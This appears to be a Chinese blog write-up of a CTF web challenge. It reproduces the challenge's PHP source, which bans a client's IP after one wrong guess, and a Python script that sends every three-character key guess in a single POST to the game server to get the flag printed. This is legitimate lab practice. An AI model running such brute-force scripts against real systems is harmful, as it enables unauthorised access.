百度杯 "2017春秋欢乐赛 攻击"

打开题目网址,代码就被高亮出来

<?php
header("content-type:text/html;charset=utf-8");
show_source(__FILE__);
echo '<pre>';
include('u/ip.php');
include('flag.php');
if (in_array($_SERVER['REMOTE_ADDR'],$ip)){
  die("您的ip已进入系统黑名单");
}
echo "hello";
var_dump($ip);

if ($_POST[substr($flag,5,3)]=='attack'){
  echo $flag;
}else if (count($_POST)>0){
  $ip = '$ip[]="'.$_SERVER['REMOTE_ADDR'].'";'.PHP_EOL; 
  file_put_contents('u/ip.php',$ip,FILE_APPEND);
}
echo '</pre>';
?>

代码表明你只有一次的攻击机会

没办法,只能穷举$flag中从第六的位置开始的长度为3的字符串,然后将所有穷举出来的结果post方式,一次性提交,这种方法的前提是要猜$flag中有哪些字符。一旦少了某个字符,就凉凉了。。

写个python脚本

import requests
flagChar="0123456789abcdefgh"
url="http://a19387d3be524b46a3c917d3d91cdde1fe047abb5cf449da.game.ichunqiu.com/"
dictData={}
for a in flagChar:
    for b in flagChar:
        for c in flagChar:
            dictData[a+b+c]="attack"
print(dictData)
res=requests.post(url,data=dictData)
print(res.text)

不过这道题不知道现在什么情况,返回500状态码

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值